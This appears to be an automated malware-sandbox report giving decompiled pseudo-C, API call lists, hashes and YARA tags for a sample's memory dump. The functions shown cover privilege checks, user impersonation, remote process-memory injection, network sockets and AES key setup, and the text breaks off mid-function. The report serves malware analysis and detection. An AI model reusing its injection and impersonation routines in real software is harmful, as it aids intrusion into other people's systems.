Part of subcall function 00862886: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,008638D6,008636FB,?,008636FB,008638D6,?,00000400,?,?,?,?,008638D6), ref: 008628B5

Part of subcall function 0086A885: _memset.LIBCMT ref: 0086A8A9
Part of subcall function 0086A885: _memset.LIBCMT ref: 0086A8B7
Part of subcall function 0086A885: _memset.LIBCMT ref: 0086A8C5
Part of subcall function 0086A885: GetTokenInformation.ADVAPI32(?,00000001(TokenIntegrityLevel),?,00001000,0086A964,?,?,?,?,?,0086A964,?,?), ref: 0086A8E2

ImpersonateLoggedOnUser.ADVAPI32(?,0086AD0B,?,?,?,?,?,?,?,?,?,?,?,00000001,?,?), ref: 0086ABA0
GetLastError.KERNEL32(?,0086AD0B,?,?,?,?,?,?,?,?,?,?,?,00000001,?,?), ref: 0086ABAA

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: _memset$ByteCharErrorLastMultiUserWide_malloc$CloseHandleImpersonateInformationLoggedLogonRevertSelfToken
String ID:
API String ID: 2878441771-0
Opcode ID: 5bab68a9b477017719f4467d1403f1b5d1fbb527aa1a20a4fcd3ca72c1589335
Instruction ID: e8f6fe779060744b58e4785a02cd7cc39200ea0e436317cabe1464fb673348db
Opcode Fuzzy Hash: 5bab68a9b477017719f4467d1403f1b5d1fbb527aa1a20a4fcd3ca72c1589335
Instruction Fuzzy Hash: 44219672518205BFDB197FA4EC0AE5A3F66FB05B14F154065F908DA171EB728C109B53

Uniqueness

Uniqueness Score: -1.00%

Function 00866401, Relevance: 6.1, APIs: 4, Instructions: 63
sleepnetworkCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E00866401(void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				char _v28;
				char _v44;
				void* __edi;
				void* __esi;
				void* _t19;
				void* _t20;
				signed int _t24;
				signed int _t25;
				void* _t28;
				signed int _t29;
				void* _t34;
				void* _t42;
				void* _t43;

				_t34 = GetTickCount() + 0x3a98;
				E008667D0( &_v28, _a4, _a8);
				_t43 = _t42 + 0xc;
				_t24 = E0086682C( &_v28) & 0x0000ffff;
				_v8 = E008668A9( &_v28);
				E008625A5();
				while(GetTickCount() < _t34) {
					_t19 = E00862C75(_t18, _v8, _t24);
					_pop(_t28);
					__eflags = _t19 - 0xffffffff;
					if(_t19 != 0xffffffff) {
						_t20 = E008663BB(_t28, _t19,  &_v44);
						_t29 = 8;
						_t25 = _t24 | 0x00100000;
						__eflags = _t25;
						_push(_t25);
						memcpy(_t43 - 0x20, _t20, _t29 << 2);
						return E00865B9A(__eflags);
					}
					Sleep(0x3e8);
				}
				__imp__#111();
				return E00861E97(0x44, _t18);
			}

0x0086641e
0x00866424
0x0086642c
0x00866435
0x00866441
0x00866444
0x00866466
0x0086644f
0x00866455
0x00866456
0x00866459
0x00866483
0x0086648d
0x00866492
0x00866492
0x00866498
0x00866499
0x00000000
0x008664a0
0x00866460
0x00866460
0x0086646c
0x00000000

APIs

GetTickCount.KERNEL32 ref: 00866410

Part of subcall function 008625A5: WSAStartup.WS2_32(00000202,?), ref: 008625C3
Part of subcall function 008625A5: WSACleanup.WS2_32 ref: 008625CD

Sleep.KERNEL32(000003E8), ref: 00866460
GetTickCount.KERNEL32 ref: 00866466
WSAGetLastError.WS2_32 ref: 0086646C

Part of subcall function 008663BB: ioctlsocket.WS2_32(00000000,8004667E,00000000), ref: 008663CD

Part of subcall function 00865B9A: _memset.LIBCMT ref: 00865BBB

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: CountTick$CleanupErrorLastSleepStartup_memsetioctlsocket
String ID:
API String ID: 1195850169-0
Opcode ID: 2854568b247c290773b7c4036c49eb9c55c5f1abbdf86100c3f80defebf220b5
Instruction ID: dacc0c36009cc24f08e6c4ffbf2611df977b3881a296d05f361270b055830569
Opcode Fuzzy Hash: 2854568b247c290773b7c4036c49eb9c55c5f1abbdf86100c3f80defebf220b5
Instruction Fuzzy Hash: 5911E532C04118ABDB0177F8AC879AE3BBDFB48374F260122FA01E7191FE3199914796

Uniqueness

Uniqueness Score: -1.00%

Function 00864D53, Relevance: 4.6, APIs: 3, Instructions: 57
memoryinjectionCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E00864D53(void* __ecx, void* __eflags, void* _a4, intOrPtr _a12) {
				long _v8;
				void* _v12;
				long _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t15;
				void* _t27;
				void* _t28;
				long _t30;
				void* _t32;

				_v8 = _v8 & 0x00000000;
				_t3 = E00864D53 - E00864D1D + 0x10; // 0x46
				_t14 = _t3;
				_v16 = _t3;
				_t15 = E00874855(E00864D53 - E00864D1D, _t27, _t28, _t14);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v12 = _t15;
				asm("movsd");
				E0087B0A0(E00864D53 - E00864D1D, _t15, _a12, _t15 + 0x10, E00864D1D, E00864D53);
				_t30 = _v16;
				_t32 = VirtualAllocEx(_a4, 0, _t30, 0x3000, 0x40);
				if(_t32 != 0 && WriteProcessMemory(_a4, _t32, _v12, _t30,  &_v8) != 0 && _v8 != _t30) {
					_t32 = 0;
				}
				_push(_v12);
				E00874778(_t24, _t27, _t30, _t32, 0);
				return _t32;
			}

0x00864d59
0x00864d6a
0x00864d6a
0x00864d6f
0x00864d72
0x00864d7c
0x00864d7d
0x00864d7e
0x00864d80
0x00864d8c
0x00864d8d
0x00864d92
0x00864dab
0x00864daf
0x00864dcc
0x00864dcc
0x00864dce
0x00864dd1
0x00864ddd

APIs

_malloc.LIBCMT ref: 00864D72

Part of subcall function 00874855: __FF_MSGBANNER.LIBCMT ref: 00874878
Part of subcall function 00874855: __NMSG_WRITE.LIBCMT ref: 0087487F
Part of subcall function 00874855: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,0087C679,00000000,00000001,00000000,?,00876452,00000018,0088F6E8,0000000C,008764E3), ref: 008748CC

VirtualAllocEx.KERNEL32(?,00000000,00000000,00003000,00000040,?,00000000,00000000,00000000,00000000,?), ref: 00864DA5
WriteProcessMemory.KERNEL32(?,00000000,?,00000000,00000000,?,00000000,00000000,00000000,00000000,?), ref: 00864DBD

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: AllocAllocateHeapMemoryProcessVirtualWrite_malloc
String ID:
API String ID: 4067662499-0
Opcode ID: 5010dd55c091590988a87ca887331b2b901e32844c9c7defb33480ca6830aacb
Instruction ID: 9fe38e32f2e090cb83db5fda6e7d6346836404d648b744eaffb33c5c835f1f3c
Opcode Fuzzy Hash: 5010dd55c091590988a87ca887331b2b901e32844c9c7defb33480ca6830aacb
Instruction Fuzzy Hash: 4F01CC72D00218BBCB219FA9CC46B8FBBBCFF44750F224161BA04E7191D731EA008B90

Uniqueness

Uniqueness Score: -1.00%

Function 0086AD18, Relevance: 4.5, APIs: 3, Instructions: 42
memoryCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0086AD18() {
				long _v8;
				void* _v12;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				struct _SID_IDENTIFIER_AUTHORITY _v20;
				int _t17;
				int* _t19;

				_v20.Value = 0;
				_v19 = 0;
				_v18 = 0;
				_v17 = 0;
				_v16 = 0;
				_v15 = 5;
				_t17 = AllocateAndInitializeSid( &_v20, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v12);
				_v8 = _t17;
				if(_t17 != 0) {
					_t19 =  &_v8;
					__imp__CheckTokenMembership(0, _v12, _t19);
					if(_t19 == 0) {
						_v8 = 0;
					}
					FreeSid(_v12);
				}
				return _v8;
			}

0x0086ad38
0x0086ad3b
0x0086ad3e
0x0086ad41
0x0086ad44
0x0086ad47
0x0086ad4b
0x0086ad51
0x0086ad56
0x0086ad58
0x0086ad60
0x0086ad68
0x0086ad6a
0x0086ad6a
0x0086ad70
0x0086ad70
0x0086ad7b

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,7519F510,?,?,?,0086669A), ref: 0086AD4B
CheckTokenMembership.ADVAPI32(00000000,?,0086669A,?,?,?,0086669A), ref: 0086AD60
FreeSid.ADVAPI32(?,?,?,?,0086669A), ref: 0086AD70

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: e1e523703fb0b2b4b7f78c2e1424469d0f65485efd53656ea32daace575aa6d5
Instruction ID: a8a66f18a3a1df677570565ad0b80a551edef92026f9704a9188a15241c8851e
Opcode Fuzzy Hash: e1e523703fb0b2b4b7f78c2e1424469d0f65485efd53656ea32daace575aa6d5
Instruction Fuzzy Hash: C2011D72945288FEDB11DBE88C84ADDBFBCEB14300F54849AA541E3142D2709B04DB25

Uniqueness

Uniqueness Score: -1.00%

Function 00883330, Relevance: 4.4, Strings: 3, Instructions: 612
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E00883330(void* __ebx, signed int __edx, void* __edi, void* __esi, signed char* _a4, intOrPtr _a8, signed int _a12, signed int* _a16) {
				signed int _v12;
				signed int _v24;
				signed int _v36;
				signed int* _v48;
				signed int* _v60;
				void _v256;
				signed int _t443;
				signed int _t485;
				signed int _t498;
				intOrPtr _t525;
				signed int _t569;
				signed int _t592;
				signed int _t611;
				signed int _t679;
				signed int _t748;
				signed int _t763;
				void* _t872;
				void* _t873;
				void* _t874;

				_t763 = __edx;
				memset( &_v256, 0xcccccccc, 0x3f << 2);
				_t874 = _t873 + 0xc;
				if(_a8 == 0x10 || _a8 == 0x18 || _a8 == 0x20) {
					__eflags = _a12;
					if(_a12 == 0) {
						L7:
						asm("cdq");
						 *((intOrPtr*)(_a16 + 0x1e0)) = (_a8 + (_t763 & 0x00000007) >> 3) + (_a8 + (_t763 & 0x00000007) >> 3) + 6;
						_v12 = 0;
						_v48 = _a16;
						 *_v48 = ( *_a4 & 0xff) << 0x00000018 | (_a4[1] & 0xff) << 0x00000010 | (_a4[2] & 0xff) << 0x00000008 | _a4[3] & 0xff;
						_v48[1] = (_a4[4] & 0xff) << 0x00000018 | (_a4[5] & 0xff) << 0x00000010 | (_a4[6] & 0xff) << 0x00000008 | _a4[7] & 0xff;
						_v48[2] = (_a4[8] & 0xff) << 0x00000018 | (_a4[9] & 0xff) << 0x00000010 | (_a4[0xa] & 0xff) << 0x00000008 | _a4[0xb] & 0xff;
						_v48[3] = (_a4[0xc] & 0xff) << 0x00000018 | (_a4[0xd] & 0xff) << 0x00000010 | (_a4[0xe] & 0xff) << 0x00000008 | _a4[0xf] & 0xff;
						__eflags = _a8 - 0x10;
						if(_a8 != 0x10) {
							__eflags = _a8 - 0x18;
							if(_a8 != 0x18) {
								__eflags = _a8 - 0x20;
								if(__eflags != 0) {
									_t443 = 1;
								} else {
									_v24 = 0x3c;
									_v48[4] = (_a4[0x10] & 0xff) << 0x00000018 | (_a4[0x11] & 0xff) << 0x00000010 | (_a4[0x12] & 0xff) << 0x00000008 | _a4[0x13] & 0xff;
									_v48[5] = (_a4[0x14] & 0xff) << 0x00000018 | (_a4[0x15] & 0xff) << 0x00000010 | (_a4[0x16] & 0xff) << 0x00000008 | _a4[0x17] & 0xff;
									_v48[6] = (_a4[0x18] & 0xff) << 0x00000018 | (_a4[0x19] & 0xff) << 0x00000010 | (_a4[0x1a] & 0xff) << 0x00000008 | _a4[0x1b] & 0xff;
									_t679 = (_a4[0x1c] & 0xff) << 0x00000018 | (_a4[0x1d] & 0xff) << 0x00000010 | (_a4[0x1e] & 0xff) << 0x00000008 | _a4[0x1f] & 0xff;
									__eflags = _t679;
									_v48[7] = _t679;
									while(1) {
										_v36 =  *(_a16 + 0x1c + (_v48 - _a16 >> 2) * 4);
										_t485 = E00883B40(_v36);
										_t874 = _t874 + 4;
										_v48[8] = _t485 ^  *_v48 ^  *(0x88ce70 + _v12 * 4);
										_v48[9] = _v48[1] ^ _v48[8];
										_v48[0xa] = _v48[2] ^ _v48[9];
										_v48[0xb] = _v48[3] ^ _v48[0xa];
										_v12 = _v12 + 1;
										__eflags = _v12 - 7;
										if(_v12 == 7) {
											break;
										}
										_v36 = _v48[0xb];
										asm("ror eax, 0x8");
										_t498 = E00883B40(_v36);
										_t874 = _t874 + 4;
										_v48[0xc] = _t498 ^ _v48[4];
										_v48[0xd] = _v48[5] ^ _v48[0xc];
										_v48[0xe] = _v48[6] ^ _v48[0xd];
										_v48[0xf] = _v48[7] ^ _v48[0xe];
										_v48 =  &(_v48[8]);
									}
									goto L26;
								}
							} else {
								_v24 = 0x34;
								_v48[4] = (_a4[0x10] & 0xff) << 0x00000018 | (_a4[0x11] & 0xff) << 0x00000010 | (_a4[0x12] & 0xff) << 0x00000008 | _a4[0x13] & 0xff;
								_t748 = (_a4[0x14] & 0xff) << 0x00000018 | (_a4[0x15] & 0xff) << 0x00000010 | (_a4[0x16] & 0xff) << 0x00000008 | _a4[0x17] & 0xff;
								__eflags = _t748;
								_v48[5] = _t748;
								while(1) {
									_v36 =  *(_a16 + 0x14 + (_v48 - _a16 >> 2) * 4);
									_t592 = E00883B40(_v36);
									_t874 = _t874 + 4;
									_v48[6] = _t592 ^  *_v48 ^  *(0x88ce70 + _v12 * 4);
									_v48[7] = _v48[1] ^ _v48[6];
									_v48[8] = _v48[2] ^ _v48[7];
									_v48[9] = _v48[3] ^ _v48[8];
									_v12 = _v12 + 1;
									__eflags = _v12 - 8;
									if(_v12 == 8) {
										break;
									}
									_v48[0xa] = _v48[4] ^ _v48[9];
									_v48[0xb] = _v48[5] ^ _v48[0xa];
									_v48 =  &(_v48[6]);
								}
								goto L26;
							}
						} else {
							_v24 = 0x2c;
							while(1) {
								_v36 = _v48[3];
								_t611 = E00883B40(_v36);
								_t874 = _t874 + 4;
								_v48[4] = _t611 ^  *_v48 ^  *(0x88ce70 + _v12 * 4);
								_v48[5] = _v48[1] ^ _v48[4];
								_v48[6] = _v48[2] ^ _v48[5];
								_v48[7] = _v48[3] ^ _v48[6];
								_v12 = _v12 + 1;
								__eflags = _v12 - 0xa;
								if(_v12 == 0xa) {
									break;
								}
								_v48 =  &(_v48[4]);
							}
							L26:
							_v48 = _a16 + 0xf0;
							_t273 = _v24 * 4; // 0x2c
							_v60 = _a16 + _t273 - 0x10;
							 *_v48 =  *_v60;
							_v48 =  &(_v48[1]);
							_v60 =  &(_v60[1]);
							 *_v48 =  *_v60;
							_v48 =  &(_v48[1]);
							_v60 =  &(_v60[1]);
							 *_v48 =  *_v60;
							_v48 =  &(_v48[1]);
							_v60 =  &(_v60[1]);
							 *_v48 =  *_v60;
							_v48 = _v48 - 0xc;
							_v60 = _v60 - 0xc;
							_v12 = 1;
							while(1) {
								_t525 = _a16;
								__eflags = _v12 -  *((intOrPtr*)(_t525 + 0x1e0));
								if(_v12 >=  *((intOrPtr*)(_t525 + 0x1e0))) {
									break;
								}
								_v60 = _v60 - 0x10;
								_v48 =  &(_v48[4]);
								_v36 =  *_v60;
								 *_v48 =  *(0x88be70 + (_v36 >> 0x00000018 & 0x000000ff) * 4) ^  *(0x88c270 + (_v36 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x88c670 + (_v36 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x88ca70 + (_v36 & 0x000000ff) * 4);
								_v36 = _v60[1];
								_v48[1] =  *(0x88be70 + (_v36 >> 0x00000018 & 0x000000ff) * 4) ^  *(0x88c270 + (_v36 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x88c670 + (_v36 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x88ca70 + (_v36 & 0x000000ff) * 4);
								_v36 = _v60[2];
								_v48[2] =  *(0x88be70 + (_v36 >> 0x00000018 & 0x000000ff) * 4) ^  *(0x88c270 + (_v36 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x88c670 + (_v36 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x88ca70 + (_v36 & 0x000000ff) * 4);
								_v36 = _v60[3];
								_v48[3] =  *(0x88be70 + (_v36 >> 0x00000018 & 0x000000ff) * 4) ^  *(0x88c270 + (_v36 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x88c670 + (_v36 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x88ca70 + (_v36 & 0x000000ff) * 4);
								_t569 = _v12 + 1;
								__eflags = _t569;
								_v12 = _t569;
							}
							_v60 = _v60 - 0x10;
							_v48 =  &(_v48[4]);
							 *_v48 =  *_v60;
							_v48 =  &(_v48[1]);
							_v60 =  &(_v60[1]);
							 *_v48 =  *_v60;
							_v48 =  &(_v48[1]);
							_v60 =  &(_v60[1]);
							 *_v48 =  *_v60;
							_v48 =  &(_v48[1]);
							_v60 =  &(_v60[1]);
							 *_v48 =  *_v60;
							_t443 = 0;
							__eflags = 0;
						}
					} else {
						asm("cdq");
						_t763 = _t763 & 0x00000007;
						__eflags = _a12 - (_a8 + _t763 >> 3) + (_a8 + _t763 >> 3) + 6;
						if(__eflags == 0) {
							goto L7;
						} else {
							_t443 = 4;
						}
					}
				} else {
					_t443 = 3;
				}
				return E00884DF9(_t443, _t872 - _t874 + 0xfc);
			}

0x00883330
0x0088334c
0x0088334c
0x00883352
0x0088336a
0x0088336e
0x0088338f
0x00883392
0x008833a2
0x008833a8
0x008833b2
0x008833f7
0x0088343c
0x00883482
0x008834c8
0x008834cb
0x008834cf
0x0088355d
0x00883561
0x008836ac
0x008836b0
0x008838ba
0x008836b6
0x008836b6
0x00883700
0x00883746
0x0088378c
0x008837cd
0x008837cd
0x008837d2
0x008837d5
0x008837e5
0x008837ec
0x008837f1
0x00883806
0x00883818
0x0088382a
0x0088383c
0x00883845
0x00883848
0x0088384c
0x00000000
0x00000000
0x00883856
0x0088385c
0x00883860
0x00883865
0x00883871
0x00883883
0x00883895
0x008838a7
0x008838b0
0x008838b0
0x00000000
0x008838b8
0x00883567
0x00883567
0x008835b1
0x008835f2
0x008835f2
0x008835f7
0x008835fa
0x0088360a
0x00883611
0x00883616
0x0088362b
0x0088363d
0x0088364f
0x00883661
0x0088366a
0x0088366d
0x00883671
0x00000000
0x00000000
0x00883684
0x00883696
0x0088369f
0x0088369f
0x00000000
0x008836a7
0x008834d5
0x008834d5
0x008834dc
0x008834e2
0x008834e9
0x008834ee
0x00883503
0x00883515
0x00883527
0x00883539
0x00883542
0x00883545
0x00883549
0x00000000
0x00000000
0x00883553
0x00883553
0x008838c4
0x008838cc
0x008838d5
0x008838d9
0x008838e4
0x008838ec
0x008838f5
0x00883900
0x00883908
0x00883911
0x0088391c
0x00883924
0x0088392d
0x00883938
0x00883940
0x00883949
0x0088394c
0x0088395e
0x0088395e
0x00883964
0x0088396a
0x00000000
0x00000000
0x00883976
0x0088397f
0x00883987
0x008839c8
0x008839d0
0x00883a11
0x00883a1a
0x00883a5b
0x00883a64
0x00883aa5
0x00883958
0x00883958
0x0088395b
0x0088395b
0x00883ab3
0x00883abc
0x00883ac7
0x00883acf
0x00883ad8
0x00883ae3
0x00883aeb
0x00883af4
0x00883aff
0x00883b07
0x00883b10
0x00883b1b
0x00883b1d
0x00883b1d
0x00883b1d
0x00883370
0x00883373
0x00883374
0x00883380
0x00883383
0x00000000
0x00883385
0x00883385
0x00883385
0x00883383
0x00883360
0x00883360
0x00883360
0x00883b32

Strings

abcdefghijklmnop, xrefs: 0088333A
, xrefs: 008836AC
<, xrefs: 008836B6

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID:
String ID: $<$abcdefghijklmnop
API String ID: 0-2431890337
Opcode ID: f67fd43aae6c280976d81fb10d4788ccc6e1d0276398b1b10c255262cd3d9fe2
Instruction ID: 006e5336b96eb1e59699bd4ad8865175f2d01eba1d5f722ed17b0b28fced3425
Opcode Fuzzy Hash: f67fd43aae6c280976d81fb10d4788ccc6e1d0276398b1b10c255262cd3d9fe2
Instruction Fuzzy Hash: 6652E175A001198FDB08CF69D491AADBBF1FF89310F14C16AE866AB352C634E951CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00884190, Relevance: .4, Instructions: 435COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d58b08cbcdd61c8113be4939b48def89faf3aba06854a545fa4acf8cab0f0b40
Instruction ID: 6d4af91119bf0ec0e32365f769fd6d586a2e0ae0ca9f8507382b3321964d2854
Opcode Fuzzy Hash: d58b08cbcdd61c8113be4939b48def89faf3aba06854a545fa4acf8cab0f0b40
Instruction Fuzzy Hash: 64127F319101598FDB04CF5DD891ABDBBF1FF49301F48816AE496AB386CA38E611DB54

Uniqueness

Uniqueness Score: -1.00%

Function 00883BC0, Relevance: .4, Instructions: 406COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f12cadd81988d7248c33c7a352d5da6d49e35525ad139286455816ba638d988f
Instruction ID: 848f2dc4cb58b6714f3b165ae4281b945a7ca26c7b66b46836cad133a2d8c23e
Opcode Fuzzy Hash: f12cadd81988d7248c33c7a352d5da6d49e35525ad139286455816ba638d988f
Instruction Fuzzy Hash: 90125E719141698FDB08CF5DD8919BDBFF1FF49301F48816AE496AB382C638E611DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00881A0D, Relevance: .4, Instructions: 384COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction ID: 5df7995db462d335ddf98d00540126862ab507dc8a5d247de4433e8a5eca1740
Opcode Fuzzy Hash: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction Fuzzy Hash: 8CD1AD73C0A9B34A8B75952D416823BEEA2BFC175032EC7E0DCD47F289EA265D0597D0

Uniqueness

Uniqueness Score: -1.00%

Function 008815ED, Relevance: .4, Instructions: 378COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction ID: 3a73948ff6166ff5675e2f98e3558a0abf4cd96f925e8ffe4a0ea289ff957525
Opcode Fuzzy Hash: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction Fuzzy Hash: E6D1AE73C0A9B34A8B75952D456823BEEA2BFD174032EC7E1CCD46F289EA265C0597D0

Uniqueness

Uniqueness Score: -1.00%

Function 008811E1, Relevance: .4, Instructions: 361COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction ID: 0d9bea71c0d6d0f63e950292d9dfabb22a6a6f014dc0cbcdd1eddb12d5d70785
Opcode Fuzzy Hash: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction Fuzzy Hash: 87C19D73C0A9B34A8B76952D416822BEE62BFC1B5132FC7E0CCD47F289DA265D0597D0

Uniqueness

Uniqueness Score: -1.00%

Function 00880E0D, Relevance: .4, Instructions: 351COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction ID: d006be20cc7fba167ec3aca80a3ee9e5059d1b02ed1735c28a2281a6ee95af4f
Opcode Fuzzy Hash: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction Fuzzy Hash: BBC1B073D0E9B34A8BB5952D455822BEE62BFC174032EC7E0CCD07F289DA265D099BD0

Uniqueness

Uniqueness Score: -1.00%

Function 00868B02, Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66815fa4e515433c11deb6288a89f5de42c04bc31794f64a68d3cfb98a76f997
Instruction ID: 06505daa481ecdbe0d7f1314e53d69f25b382c1c760d9de14d2a8413965f9751
Opcode Fuzzy Hash: 66815fa4e515433c11deb6288a89f5de42c04bc31794f64a68d3cfb98a76f997
Instruction Fuzzy Hash: 6C91B0B4E0120ACFCF08CF99C5909AEBBB1FF48315F248259D915AB355D734AA81DFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00869792, Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66815fa4e515433c11deb6288a89f5de42c04bc31794f64a68d3cfb98a76f997
Instruction ID: 194aa420804abe053cbc7a6cb10cac1407c461e02dc847e39ddcb27eb0fe0667
Opcode Fuzzy Hash: 66815fa4e515433c11deb6288a89f5de42c04bc31794f64a68d3cfb98a76f997
Instruction Fuzzy Hash: 4391C1B4E0520ACFCF08CF98C590AAEBBB2FF48315F248159D955AB355D334AA81DF94

Uniqueness

Uniqueness Score: -1.00%

Function 00871B79, Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: _malloc
String ID:
API String ID: 1579825452-0
Opcode ID: 0ec22af4f516f2cdf4fb21ee907582584c82b0f74a356d69f91bf72ffa76b67e
Instruction ID: ba83abce28bcb2e10aa6efe0d01aab7a64068d097a5728a701b4b772b0c612f2
Opcode Fuzzy Hash: 0ec22af4f516f2cdf4fb21ee907582584c82b0f74a356d69f91bf72ffa76b67e
Instruction Fuzzy Hash: C8413DB6E00209AFDF14DFACC885AAEB7F5FB48310F548569E909E7345D634E901CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00883955, Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7258a0e122b8bcab921fc6351b14a8f02d6da83d903b921e09eb96fdb21a0fb3
Instruction ID: 3313810777570daa161c3612adeb0fe920974f7082e3057a5d227f213aedc62a
Opcode Fuzzy Hash: 7258a0e122b8bcab921fc6351b14a8f02d6da83d903b921e09eb96fdb21a0fb3
Instruction Fuzzy Hash: 754172749100688FDF48CF9DE8908EDBBF2FB8E301B45815AE582A7395C738A914DB64

Uniqueness

Uniqueness Score: -1.00%

Function 00866D81, Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 199
networkCOMMON

Download Yara Rule

C-Code - Quality: 28%

			E00866D81(char __eax) {
				intOrPtr* _v8;
				char _v12;
				char _v16;
				char _v32;
				intOrPtr _v36;
				char _v40;
				char _v76;
				intOrPtr _v336;
				char _v340;
				intOrPtr _v600;
				char _v604;
				intOrPtr _v864;
				char _v868;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t76;
				char* _t77;
				char* _t80;
				char* _t81;
				long _t82;
				intOrPtr _t84;
				char* _t85;
				char* _t87;
				void* _t88;
				char* _t94;
				intOrPtr _t95;
				void* _t104;
				signed int _t114;
				char _t116;
				intOrPtr* _t121;
				void* _t124;
				void* _t125;

				_t68 = __eax;
				_t121 =  *0x897e50;
				_t116 = 0;
				_v8 = _t121;
				_v40 = 0;
				_v36 = 0x64;
				if(_t121 == 0) {
					return __eax;
				}
				L3:
				while(1) {
					if( *((intOrPtr*)(_t121 + 4)) != 2) {
						L22:
						_t68 =  *((intOrPtr*)(_t121 + 0x20));
						_v8 = _t68;
						if(_t68 != _t116) {
							_t121 = _v8;
							continue;
						}
						return _t68;
					}
					L008832E6();
					_v12 = _t68;
					_v868 = _t116;
					_v604 = _t116;
					_v340 = _t116;
					_v864 =  *((intOrPtr*)(_t121 + 0x1c));
					_v868 = 1;
					_v600 =  *((intOrPtr*)(_t121 + 0x1c));
					_v604 = 1;
					_v336 =  *((intOrPtr*)(_t121 + 0x1c));
					_v340 = 1;
					__imp__#18(_t116,  &_v340,  &_v868,  &_v604,  &_v40,  *_t121);
					_t76 =  *((intOrPtr*)(_t121 + 0x10));
					if(_t76 != 2) {
						__eflags = _t76 - 3;
						if(_t76 != 3) {
							_t77 =  &_v604;
							_push(_t77);
							_push( *((intOrPtr*)(_t121 + 0x1c)));
							L0088331C();
